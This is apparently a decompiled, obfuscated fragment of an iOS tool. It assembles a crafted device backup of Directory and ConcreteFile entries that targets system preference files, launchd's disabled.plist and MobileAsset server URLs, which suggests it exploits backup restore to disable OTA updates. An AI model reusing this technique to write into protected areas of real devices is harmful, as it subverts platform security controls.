v101 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v163 = objc_retainAutoreleasedReturnValue(v101);
v100[4] = v163;
v174[5] = (__int64)CFSTR("\x99x\xE3\x65\xF1\x13\xB0\xD5\xF2\xBCz\xE4\xEB\x48A\x15\x9CT\x80 X.\xDE\x31\xB0\xA3\xFE\x14");
v102 = v173;
v103 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 0);
v164 = objc_retainAutoreleasedReturnValue(v103);
v102[5] = v164;
v174[6] = (__int64)CFSTR("1\xA7z\x81Y\x02\xDD\x11\x1AU}\xF2\xD9\xE3\xA4\x03\xF5\x8F\xBA\xBE\xF8");
v104 = v173;
v105 = HikariFunctionWrapper_17431(&OBJC_CLASS___NSNumber, v175);
v106 = objc_retainAutoreleasedReturnValue(v105);
v104[6] = v106;
v174[7] = (__int64)CFSTR("(\xE8\xE6\x0E@\xD7\x35\xB1J\x93\xB0\x05v-.\x7F\xBAY\x84\xEB\x0C\x4CB\x87]\x1B\xC5\x44\xAC\xC8\xE9\xAC\x8C");
v107 = v173;
v108 = HikariFunctionWrapper_17433(&OBJC_CLASS___NSNumber, v175);
v109 = objc_retainAutoreleasedReturnValue(v108);
v107[7] = v109;
v174[8] = (__int64)CFSTR("<A\xC9\x47U\xA4\xEA\xCB\x3Cq\x94\x19Uϖ\xA0\xB4\x1C_@)\xA5{|z.");
v110 = v173;
v111 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v112 = objc_retainAutoreleasedReturnValue(v111);
v110[8] = v112;
v174[9] = (__int64)CFSTR("\xCF\x47œDf\x96d\xDF\x3D\xCD\x1E? \xE1\xE5\x6C\xA9\xA2\x96");
v113 = v173;
v114 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v115 = objc_retainAutoreleasedReturnValue(v114);
v113[9] = v115;
v116 = HikariFunctionWrapper_17435(&OBJC_CLASS___NSDictionary, v135);
v117 = objc_retainAutoreleasedReturnValue(v116);
objc_release(v115);
objc_release(v112);
objc_release(v109);
objc_release(v106);
objc_release(v164);
objc_release(v163);
objc_release(v142);
objc_release(v141);
objc_release(v139);
objc_release(v138);
*v166 = 0;
v118 = objc_msgSend(&OBJC_CLASS___NSPropertyListSerialization, v137, v117, 100, 0, v166);
objc_retainAutoreleasedReturnValue(v118);
objc_retain(*v166);
objc_release(v162);
*v177 = 1456588937;
}
else if ( v153 == 695152485 )
{
v19 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v141 = objc_retainAutoreleasedReturnValue(v19);
*v140 = v141;
v174[3] = (__int64)CFSTR("0\xB6\xE6\x52\xE7\xD2\x20\xFEYf:\xFC'\x16\xA1\xA0");
v20 = v173;
v21 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v142 = objc_retainAutoreleasedReturnValue(v21);
v20[3] = v142;
v174[4] = (__int64)CFSTR("\vU\a\v\xE3\x72\xD1:;8\x98Vr\xEE\xE2\x27\x9F");
v1 = -1422708697;
goto LABEL_194;
}
}
else
{
switch ( v153 )
{
case 704644033:
asc_10027E08C[4] = 97;
asc_10027E08C[5] = 114;
asc_10027E08C[6] = 121;
asc_10027E08C[7] = 0;
strcpy(asc_10027E120, "%@/hooks/resources/1");
strcpy(asc_10027E0C0, "com.apple.ftp-proxy-embedded");
strcpy(a0_0, "HomeDomain");
strcpy(aS_14, "https://mesu.apple.com/assets/tvOS16DeveloperSeed");
strcpy(aA_15, "com.apple.xpc.launchd");
strcpy(asc_10027E070, "Library/Preferences");
strcpy(aU_13, "com.apple.bootpd");
strcpy(asc_10027E590, "[OTA_DISABLED] Error al generar plist: %@");
strcpy(asc_10027E020, "Library/UserConfigurationProfiles");
*v177 = -166164278;
break;
case 704835546:
v0 = v151 < 0xA056E5BA;
v1 = -301843821;
v2 = -1401748471;
goto LABEL_182;
case 716698127:
v9 = HikariFunctionWrapper_17407(&OBJC_CLASS___NSBundle, "mainBundle");
v10 = objc_retainAutoreleasedReturnValue(v9);
v11 = HikariFunctionWrapper_17409(v10, "resourcePath");
v12 = objc_retainAutoreleasedReturnValue(v11);
v157 = "stringWithFormat:";
v13 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xAB\xDB\xDA@\xA7\xF5\xB1\x07\xFF\x03Vq*\xB5\xDD\x29\x90N\xDA\x1C"),
v12);
v158 = objc_retainAutoreleasedReturnValue(v13);
objc_release(v12);
objc_release(v10);
*v177 = 33418979;
break;
}
}
}
else if ( v153 > 858059979 )
{
if ( v153 <= 886293070 )
{
if ( v153 == 858059980 )
{
HikariFunctionWrapper_17405(CFSTR("5\xDC\xE9m\x90\r\x8C\x12\x16\x8C\xE0\xA1\x54G\xE7\x58\x5E\xAD\xBB\xF4\x1E\x18\xF8\xAC\xCB\x22~"));
v1 = 167329082;
goto LABEL_194;
}
if ( v153 == 864753981 )
*v177 = -7183700;
}
else
{
switch ( v153 )
{
case 886293071:
*v177 = -1688073629;
v148 = v143;
v149 = v161;
break;
case 891517506:
objc_release(v150);
objc_release(v160);
v1 = 886293071;
goto LABEL_194;
case 958426420:
*v177 = -1698945247;
break;
}
}
}
else if ( v153 <= 817045632 )
{
if ( v153 == 798584382 )
{
v144 = "localizedDescription";
v1 = 1296508048;
goto LABEL_194;
}
if ( v153 == 802235181 )
{
*v172 = (__int64)CFSTR("t\x9B\x15\x1A蔫K\xC1\x33A\x8A\xB4\x9BP\x10r9\xA6\xAF\xA0\xA4\xC1\xBE߶A\b\x89\xF5\x42\x7A\x72,\x96B\x96\xA3\xF9E7\xF2\xDA\x07\x3Az\x16A\x84\x94\xF5\x2B\x0F\xEE3\v\xD1\x05ϼ\x1D\x9F\xFA\xB0\xB8\xF9\xA3\xA5#\xE4\xD4\x65\x95\x84\x97");
*v171 = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[1] = (__int64)CFSTR("\xFA\xC6\x1CHQ\xBF\xF1\x4A\x1C\x39b?\xA5Kk\x8E\xDA\x1AY\r\x85\xCE\xD5\xCA\x21\xA1\xED\x31\xA4\x83\x04|\xBD");
v39 = v171;
v40 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v39[1] = (__int64)objc_retainAutoreleasedReturnValue(v40);
v172[2] = (__int64)CFSTR("2\r\xC6\xDA\xE8\xEE\xAA\x1D\xE6\xDD\xF6\x05\xC4\x68\xB6\x10\x12u\xC2\x20M\xC9\x65\x0F^Ct_\t\xB8\x14U\x83\xDC\x3C\x8C\xDF\x2Ey\xFF_\x98\xA9\xC2\x0A");
v41 = v171;
v42 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v41[2] = (__int64)objc_retainAutoreleasedReturnValue(v42);
v172[3] = (__int64)CFSTR("\\\x93@\xB3\x03\xB21\xC0\xEBL\xE4\x5B\xEF\x00\x97\xE9\x80\xCB\x03]\xEA\x44\xE6\x82\xDA\x33g\xA7\x8A\x87\x893\xF7\xD2\x8B\x72\xFFN?\x90\xF1\x55\xA7\x05Tv\x809\x8C9\xAE\x00f\xE9\xE0\x2E!\x00_\xAB");
v171[3] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[4] = (__int64)CFSTR("\xB6\\\xA1x94\x12\x12\xB36\xD7\xE9O\xF1\x4F\x05\x60\xB1\x8DYĹ\x17\x04\xFDD+>\x13\xE7\xA8\x6D\xE8\xBA\xE1w?\x18\x95\x8A\x11}6VU\xAC\xA6\xDD\x2BH\xB4\x15\xA2\xEC\x47\x50\xE5\xC8\x54\x11\x83$={e");
v171[4] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[5] = (__int64)CFSTR("\x15\xA1Q|\a\xA4\xC1\x96\xCE\x2D\xD8\x7A*r\xA3%\xBD\x86O3\x87\x96ODf\x11\x1F\xF2\x3E\xF0\x34\x1BG\xB8\xBAh\xA8[\xA8o\x81V\xDB\x0BI\x0E%x\xD5\x6F\x92|tP9F\x96\xB1");
v171[5] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[6] = (__int64)CFSTR("\n\x02n\\\x1B2wN\x91\u80244\xDD\x7F\xCA\x2E\x17v\xCF\x1D\x9F\xE6\x9E\xE1");
v171[6] = (__int64)CFSTR("\x82\xC5\x32\x8D8\xCC\xDA\xE7\x17\x6B\x06!\v\xC2\xC7\x94\x98(\xAE\x94wmc\xA2l\n\xEB\x60\x07Z\xBA\x01\f\xA3\xA3\xC1\xB4");
*v177 = -303568798;
}
}
else
{
switch ( v153 )
{
case 817045633:
v163 = objc_msgSend(v125, "initWithPath:domain:owner:group:", &stru_10025B688, v146, 501, 501);
*v167 = v163;
v58 = v167;
v59 = objc_alloc(&OBJC_CLASS___Directory);
v60 = objc_msgSend(&OBJC_CLASS___NSString, v157, CFSTR("0\x9A\x94\x02k]ɗ"));
v164 = objc_retainAutoreleasedReturnValue(v60);
v159 = -[Directory initWithPath:domain:owner:group:](
v59,
"initWithPath:domain:owner:group:",
CFSTR("\xE8\x59\x49\xE9\x5A\x99\xB8"),
v164,
501,
501);
v58[1] = v159;
v61 = v167;
v62 = objc_alloc(&OBJC_CLASS___Directory);
v126 = -[Directory initWithPath:domain:owner:group:](
v62,
"initWithPath:domain:owner:group:",
CFSTR("\x1D\xB3\x83\xC0\x2A0:@b\x9F\xF6\xBA\xF5\xC6\xB8}\a\xDC\x45"),
CFSTR("0\x9A\x94\x02k]ɗ"),
501,
501);
v61[2] = v126;
v63 = v167;
v64 = objc_alloc(&OBJC_CLASS___Directory);
v127 = -[Directory initWithPath:domain:owner:group:](
v64,
"initWithPath:domain:owner:group:",
CFSTR("\x12\xF0\x8E\xF3\x44Fj\x98\x03\xCC\x554\b\x94\xBD&\xFB\x1D)u\xD8\xC3E\xA1\x16\x1C\x8E\x18\x8A\x17\xC1\x88\xA8"),
CFSTR("0\x9A\x94\x02k]ɗ"),
501,
501);
v63[3] = v127;
v65 = v167;
v66 = objc_alloc(&OBJC_CLASS___ConcreteFile);
v122 = 1;
v121 = v145;
v128 = HikariFunctionWrapper_17415(v66, "initWithPath:domain:owner:group:contents:inode:");
v65[4] = v128;
v67 = v167;
v68 = objc_alloc(&OBJC_CLASS___Directory);
v129 = -[Directory initWithPath:domain:owner:group:](
v68,
"initWithPath:domain:owner:group:",
&stru_10025B688,
CFSTR("\xD5\x34\x055\x064[\xB5\x8C~\xEA\x74\x74\xCD\x27\x12\x8E\x17\x8C-9\xBFt\x91\x8C"),
501,
501);
v67[5] = v129;
v69 = v167;
v70 = objc_alloc(&OBJC_CLASS___Directory);
v130 = HikariFunctionWrapper_17417(v70, "initWithPath:domain:owner:group:");
v69[6] = v130;
v71 = v167;
v72 = objc_alloc(&OBJC_CLASS___ConcreteFile);
v73 = -[ConcreteFile initWithPath:domain:owner:group:contents:inode:](
v72,
"initWithPath:domain:owner:group:contents:inode:",
CFSTR("m\xD4\x74\xB2\x86\xBF;\xF7\x5B\x8E\x67,Էj#T\xAFx\x84U\x8EQ]\x00ͼ.)\x8Dɯ7~\\"),
CFSTR("\xD5\x34\x055\x064[\xB5\x8C~\xEA\x74\x74\xCD\x27\x12\x8E\x17\x8C-9\xBFt\x91\x8C"),
501,
501,
v154,
2);
v71[7] = v73;
v74 = v167;
v75 = objc_alloc(&OBJC_CLASS___Directory);
v76 = -[Directory initWithPath:domain:owner:group:](
v75,
"initWithPath:domain:owner:group:",
&stru_10025B688,
CFSTR("$ \\]ϕ\xBFg^\x95[M\x97\x9A\x8A"),
0,
0);
v74[8] = v76;
v77 = v167;
v78 = objc_alloc(&OBJC_CLASS___Directory);
v79 = HikariFunctionWrapper_17419(v78, "initWithPath:domain:owner:group:");
v77[9] = v79;
v80 = v167;
v81 = objc_alloc(&OBJC_CLASS___ConcreteFile);
v122 = 3;
v121 = v160;
v82 = HikariFunctionWrapper_17421(v81, "initWithPath:domain:owner:group:contents:inode:");
v80[10] = v82;
v83 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v167,
11);
v84 = objc_retainAutoreleasedReturnValue(v83);
v131 = objc_msgSend(v124, "initWithFiles:", v84);
objc_release(v84);
objc_release(v82);
objc_release(v79);
objc_release(v76);
objc_release(v73);
objc_release(v130);
objc_release(v129);
objc_release(v128);
objc_release(v127);
objc_release(v126);
objc_release(v159);
objc_release(v164);
objc_release(v163);
objc_release(v146);
v85 = NSTemporaryDirectory();
v86 = objc_retainAutoreleasedReturnValue(v85);
v87 = +[NSUUID UUID](&OBJC_CLASS___NSUUID, "UUID");
v88 = objc_retainAutoreleasedReturnValue(v87);
v89 = -[NSUUID UUIDString](v88, "UUIDString");
v90 = objc_retainAutoreleasedReturnValue(v89);
v91 = -[NSString stringByAppendingPathComponent:](v86, "stringByAppendingPathComponent:", v90);
v92 = objc_retainAutoreleasedReturnValue(v91);
objc_release(v90);
objc_release(v88);
objc_release(v86);
v93 = HikariFunctionWrapper_17423(&OBJC_CLASS___NSFileManager, "defaultManager");
v94 = objc_retainAutoreleasedReturnValue(v93);
HikariFunctionWrapper_17425(
v94,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:");
objc_release(v94);
v95 = v131;
objc_msgSend(v131, "writeToDirectory:", v92);
v96 = BACKUP_DIR;
BACKUP_DIR = v92;
objc_release(v96);
objc_release(v95);
objc_release(v145);
*v177 = 1525533381;
v147 = v158;
break;
case 838667088:
v7 = 1;
v1 = 263874884;
v8 = 1113473448;
goto LABEL_177;
case 845816280:
aN_21[5] = v176;
aN_21[6] = 112;
aN_21[7] = 108;
aN_21[8] = 101;
aN_21[9] = 46;
aN_21[10] = 109;
aN_21[11] = 111;
aN_21[12] = 98;
aN_21[13] = 105;
aN_21[14] = 108;
aN_21[15] = 101;
aN_21[16] = 46;
aN_21[17] = 111;
aN_21[18] = 98;
aN_21[19] = 108;
aN_21[20] = 105;
aN_21[21] = 116;
aN_21[22] = 101;
aN_21[23] = 114;
aN_21[24] = 97;
aN_21[25] = 116;
aN_21[26] = 105;
aN_21[27] = 111;
aN_21[28] = 110;
aN_21[29] = 0;
strcpy(a2_1, "MobileAssetSUAllowSameVersionFullReplacement");
strcpy(asc_10027E710, "MobileAssetServerURL-com.apple.MobileAsset.RecoveryOSUpdateBrain");
strcpy(asc_10027E650, "65254ac3-f331-4c19-8559-cbe22f5bc1a6");
strcpy(asc_10027E530, "MobileAssetSUAllowOSVersionChange");
a11[0] = 109;
a11[1] = 111;
a11[2] = 98;
a11[3] = 105;
a11[4] = 108;
a11[5] = 101;
a11[6] = 0;
strcpy(asc_10027E4A0, "MobileAssetServerURL-com.apple.MobileAsset.RecoveryOSUpdate");
strcpy(asc_10027E4EB, "DatabaseDomain");
strcpy(asc_10027E420, "MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate");
strcpy(aUM, "com.apple.magicswitchd.companion");
strcpy(asc_10027E360, "com.apple.security.otpaird");
strcpy(a0_1, "com.apple.dhcp6d");
strcpy(a1_5, "com.apple.relevanced");
strcpy(aN2wn, "MobileAssetAssetAudience");
strcpy(asc_10027E5F0, "com.apple.xpc.launchd/disabled.plist");
strcpy(aA_14, "com.apple.OTATaskingAgent");
strcpy(asc_10027E2D0, "com.apple.mobile.softwareupdated");
strcpy(a5_4, "Error al crear el plist: %@");
strcpy(asc_10027DFC0, "Library/Preferences/com.apple.purplebuddy.plist");
strcpy(asc_10027DF70, "ManagedPreferencesDomain");
strcpy(asc_10027E160, "com.apple.sysdiagnose");
strcpy(aM_8, "mobile/com.apple.MobileAsset.plist");
asc_10027E08C[0] = 76;
asc_10027E08C[1] = 105;
asc_10027E08C[2] = 98;
asc_10027E08C[3] = 114;
*v177 = 1528285464;
break;
}
}
}
if ( v153 <= -987026935 )
break;
if ( v153 <= -486957788 )
{
if ( v153 <= -887437334 )
{
if ( v153 > -946775659 )
{
if ( v153 == -946775658 )
{
v1 = 695152485;
goto LABEL_194;
}
if ( v153 == -895303256 )
{
v168 = v152 == 0;
v0 = 1;
v1 = -1913440813;
v2 = -887437333;
goto LABEL_182;
}
}
else if ( v153 == -987026934 )
{
strcpy(aT_8, "MobileAssetServerURL-com.apple.MobileAsset.MobileSoftwareUpdate.UpdateBrain");
aN_21[0] = 99;
aN_21[1] = 111;
aN_21[2] = 109;
aN_21[3] = 46;
aN_21[4] = 97;
v176 = 112;
*v177 = 1522020980;
}
else if ( v153 == -968750368 )
{
*v177 = 1686713470;
}
}
else if ( v153 <= -603815861 )
{
if ( v153 == -887437333 )
{
*v177 = 838667088;
}
else if ( v153 == -852527472 )
{
NSLog(
CFSTR("5\xDC\xE9m\x90\r\x8C\x12\x16\x8C\xE0\xA1\x54G\xE7\x58\x5E\xAD\xBB\xF4\x1E\x18\xF8\xAC\xCB\x22~"),
v156);
*v177 = 858059980;
}
}
else
{
switch ( v153 )
{
case -603815860:
v7 = 0;
v1 = 1612293188;
v8 = 1910703136;
goto LABEL_177;
case -561669216:
v98 = HikariFunctionWrapper_17427(v134, "dictionaryWithObjects:forKeys:count:");
objc_retainAutoreleasedReturnValue(v98);
objc_release(v133);
objc_release(v132);
*v165 = 0;
v99 = HikariFunctionWrapper_17429(
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:");
objc_retainAutoreleasedReturnValue(v99);
objc_retain(*v165);
*v177 = 1696005509;
break;
case -511278228:
*v177 = -1614918892;
break;
}
}
}
else if ( v153 > -166164279 )
{
if ( v153 <= 33418978 )
{
if ( v153 == -166164278 )
{
asc_10027E08C[4] = 97;
asc_10027E08C[5] = 114;
asc_10027E08C[6] = 121;
asc_10027E08C[7] = 0;
strcpy(asc_10027E120, "%@/hooks/resources/1");
strcpy(asc_10027E0C0, "com.apple.ftp-proxy-embedded");
strcpy(a0_0, "HomeDomain");
strcpy(aS_14, "https://mesu.apple.com/assets/tvOS16DeveloperSeed");
strcpy(aA_15, "com.apple.xpc.launchd");
strcpy(asc_10027E070, "Library/Preferences");
strcpy(aU_13, "com.apple.bootpd");
strcpy(asc_10027E590, "[OTA_DISABLED] Error al generar plist: %@");
strcpy(asc_10027E020, "Library/UserConfigurationProfiles");
v0 = 0;
v1 = -511278228;
v2 = 704644033;
LABEL_182:
if ( v0 )
v1 = v2;
goto LABEL_194;
}
if ( v153 == -7183700 )
{
v3 = 0;
v1 = -561669216;
v4 = 1696005509;
goto LABEL_189;
}
}
else
{
switch ( v153 )
{
case 33418979:
v1 = 1587814626;
goto LABEL_194;
case 34090729:
v7 = 0;
v1 = 347080731;
v8 = 798584382;
goto LABEL_177;
case 167329082:
*v177 = 1525533381;
v147 = v156;
break;
}
}
}
else if ( v153 <= -303568799 )
{
if ( v153 == -486957787 )
{
dword_10029F58C = 1;
v171 = &v123;
v172 = &v123;
v165 = (id *)&v123;
v173 = (id *)&v123;
v174 = &v123;
v166 = &v121;
v1 = -2078275175;
goto LABEL_194;
}
if ( v153 == -327596492 )
{
v3 = 0;
v1 = -1677434457;
v4 = 2072580710;
goto LABEL_189;
}
}
else
{
switch ( v153 )
{
case -303568798:
v167 = (id *)(&v123 - 12);
*v172 = (__int64)CFSTR("t\x9B\x15\x1A蔫K\xC1\x33A\x8A\xB4\x9BP\x10r9\xA6\xAF\xA0\xA4\xC1\xBE߶A\b\x89\xF5\x42\x7A\x72,\x96B\x96\xA3\xF9E7\xF2\xDA\x07\x3Az\x16A\x84\x94\xF5\x2B\x0F\xEE3\v\xD1\x05ϼ\x1D\x9F\xFA\xB0\xB8\xF9\xA3\xA5#\xE4\xD4\x65\x95\x84\x97");
*v171 = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[1] = (__int64)CFSTR("\xFA\xC6\x1CHQ\xBF\xF1\x4A\x1C\x39b?\xA5Kk\x8E\xDA\x1AY\r\x85\xCE\xD5\xCA\x21\xA1\xED\x31\xA4\x83\x04|\xBD");
v50 = v171;
v175 = "numberWithBool:";
v51 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v132 = objc_retainAutoreleasedReturnValue(v51);
v50[1] = (__int64)v132;
v172[2] = (__int64)CFSTR("2\r\xC6\xDA\xE8\xEE\xAA\x1D\xE6\xDD\xF6\x05\xC4\x68\xB6\x10\x12u\xC2\x20M\xC9\x65\x0F^Ct_\t\xB8\x14U\x83\xDC\x3C\x8C\xDF\x2Ey\xFF_\x98\xA9\xC2\x0A");
v52 = v171;
v53 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 0);
v54 = objc_retainAutoreleasedReturnValue(v53);
v7 = 1;
v133 = v54;
v52[2] = (__int64)v54;
v172[3] = (__int64)CFSTR("\\\x93@\xB3\x03\xB21\xC0\xEBL\xE4\x5B\xEF\x00\x97\xE9\x80\xCB\x03]\xEA\x44\xE6\x82\xDA\x33g\xA7\x8A\x87\x893\xF7\xD2\x8B\x72\xFFN?\x90\xF1\x55\xA7\x05Tv\x809\x8C9\xAE\x00f\xE9\xE0\x2E!\x00_\xAB");
v171[3] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[4] = (__int64)CFSTR("\xB6\\\xA1x94\x12\x12\xB36\xD7\xE9O\xF1\x4F\x05\x60\xB1\x8DYĹ\x17\x04\xFDD+>\x13\xE7\xA8\x6D\xE8\xBA\xE1w?\x18\x95\x8A\x11}6VU\xAC\xA6\xDD\x2BH\xB4\x15\xA2\xEC\x47\x50\xE5\xC8\x54\x11\x83$={e");
v171[4] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[5] = (__int64)CFSTR("\x15\xA1Q|\a\xA4\xC1\x96\xCE\x2D\xD8\x7A*r\xA3%\xBD\x86O3\x87\x96ODf\x11\x1F\xF2\x3E\xF0\x34\x1BG\xB8\xBAh\xA8[\xA8o\x81V\xDB\x0BI\x0E%x\xD5\x6F\x92|tP9F\x96\xB1");
v171[5] = (__int64)CFSTR("\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv");
v172[6] = (__int64)CFSTR("\n\x02n\\\x1B2wN\x91\u80244\xDD\x7F\xCA\x2E\x17v\xCF\x1D\x9F\xE6\x9E\xE1");
v171[6] = (__int64)CFSTR("\x82\xC5\x32\x8D8\xCC\xDA\xE7\x17\x6B\x06!\v\xC2\xC7\x94\x98(\xAE\x94wmc\xA2l\n\xEB\x60\x07Z\xBA\x01\f\xA3\xA3\xC1\xB4");
v134 = &OBJC_CLASS___NSDictionary;
v1 = 864753981;
v8 = 802235181;
goto LABEL_177;
case -301843821:
*v177 = -1401748471;
break;
case -206023055:
v3 = !v170;
v1 = 34090729;
v4 = 716698127;
goto LABEL_189;
}
}
}
if ( v153 <= -1614918893 )
break;
if ( v153 > -1302117272 )
{
if ( v153 <= -1131420539 )
{
if ( v153 == -1302117271 )
{
v0 = 0;
v1 = 858059980;
v2 = -852527472;
goto LABEL_182;
}
if ( v153 == -1273238258 )
{
v15 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v16 = objc_retainAutoreleasedReturnValue(v15);
*v140 = v16;
v174[3] = (__int64)CFSTR("0\xB6\xE6\x52\xE7\xD2\x20\xFEYf:\xFC'\x16\xA1\xA0");
v17 = v173;
v18 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v17[3] = objc_retainAutoreleasedReturnValue(v18);
v174[4] = (__int64)CFSTR("\vU\a\v\xE3\x72\xD1:;8\x98Vr\xEE\xE2\x27\x9F");
*v177 = 695152485;
}
}
else
{
switch ( v153 )
{
case -1131420538:
*v174 = (__int64)CFSTR("uء/M\xF7\x25\x16\x5D,\x19\x17\f\x0F\x1FJ\x8E*\xA8\xDD\x6F8\xB8s\xD9\x0E\x12gu\x8F\xCA\x6El");
v47 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v138 = objc_retainAutoreleasedReturnValue(v47);
*v173 = v138;
v174[1] = (__int64)CFSTR("N:\x88\xD5\x47\xBB\xF5\xEC\x2B\x15B\xAA\x17\xF6\xFD\x68\x66.{\xFCNr\n\xF9{n\xE5\x3D\x2F\x9E");
v48 = v173;
v49 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v139 = objc_retainAutoreleasedReturnValue(v49);
v48[1] = v139;
v174[2] = (__int64)CFSTR("\xA4\xD8\x7F\x99=\x9E\xCB\x47\xDC\x01\xFD\x01w\xC6\x1B\x0E\x9B\xE9\x6D\xB9\x00\xB82\x90\xAF:\x82");
v140 = v173 + 2;
*v177 = -946775658;
break;
case -1006014971:
v55 = +[NSData dataWithContentsOfFile:](&OBJC_CLASS___NSData, "dataWithContentsOfFile:", v158);
objc_retainAutoreleasedReturnValue(v55);
objc_alloc(&OBJC_CLASS___Backup);
objc_alloc(&OBJC_CLASS___Directory);
v56 = objc_msgSend(&OBJC_CLASS___NSString, v157, CFSTR("0\x9A\x94\x02k]ɗ"));
objc_retainAutoreleasedReturnValue(v56);
*v177 = 1587814626;
break;
case -994432313:
v0 = 0;
v1 = 1456588937;
v2 = 678951071;
goto LABEL_182;
}
}
}
else if ( v153 <= -1401748472 )
{
if ( v153 == -1614918892 )
{
v7 = 1;
v1 = -486957787;
v8 = -1908628938;
goto LABEL_177;
}
if ( v153 == -1422708697 )
*v177 = -994432313;
}
else
{
switch ( v153 )
{
case -1401748471:
v0 = 0;
v152 = dword_10029F58C;
v1 = -968750368;
v2 = -301843821;
goto LABEL_182;
case -1386925351:
v1 = -166164278;
goto LABEL_194;
case -1353984716:
v0 = 0;
v1 = 2137687037;
v2 = -2131693650;
goto LABEL_182;
}
}
}
if ( v153 > -1711254830 )
break;
if ( v153 <= -1913440814 )
{
if ( v153 == -2131693650 )
{
v57 = objc_msgSend(v161, v144);
objc_retainAutoreleasedReturnValue(v57);
*v177 = 2137687037;
}
else if ( v153 == -2078275175 )
{
*v177 = 1901241937;
}
}
else
{
switch ( v153 )
{
case -1913440813:
*v177 = -895303256;
break;
case -1908628938:
dword_10029F58C = 1;
*v177 = -486957787;
break;
case -1905557469:
v0 = 1;
v1 = 646254924;
v2 = 2073087735;
goto LABEL_182;
}
}
}
if ( v153 > -1688073630 )
break;
if ( v153 == -1711254829 )
{
*v177 = -1386925351;
}
else if ( v153 == -1698945247 )
{
v1 = -603815860;
goto LABEL_194;
}
}
if ( v153 != -1677434457 )
break;
v46 = objc_msgSend(v162, "localizedDescription");
objc_retainAutoreleasedReturnValue(v46);
*v177 = 2072580710;
}
if ( v153 != -1670212583 )
break;
*v177 = 817045633;
}
}
while ( v153 != -1688073629 );
v119 = v149;
objc_release(v148);
objc_release(v154);
objc_release(v119);
objc_release(v136);
return -1;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F840: using guessed type __objc2_class OBJC_CLASS___ConcreteFile;
// 10025F930: using guessed type __objc2_class OBJC_CLASS___Directory;
// 10025FAC0: using guessed type __objc2_class OBJC_CLASS___Backup;
// 10027E9C0: using guessed type __CFString stru_10027E9C0;
// 10027EA40: using guessed type __CFString stru_10027EA40;
// 10027EA80: using guessed type __CFString stru_10027EA80;
// 10027EAC0: using guessed type __CFString stru_10027EAC0;
// 10027EB00: using guessed type __CFString stru_10027EB00;
// 10027EB40: using guessed type __CFString cfstr_0_0_0;
// 10027EB80: using guessed type __CFString cfstr_T_8;
// 10027EBC0: using guessed type __CFString stru_10027EBC0;
// 10027EC40: using guessed type __CFString cfstr_A_14;
// 10027EC80: using guessed type __CFString stru_10027EC80;
// 10027ECC0: using guessed type __CFString stru_10027ECC0;
// 10027ED00: using guessed type __CFString cfstr_U_13;
// 10027ED80: using guessed type __CFString stru_10027ED80;
// 10027EDC0: using guessed type __CFString stru_10027EDC0;
// 10027EE00: using guessed type __CFString cfstr_1_5;
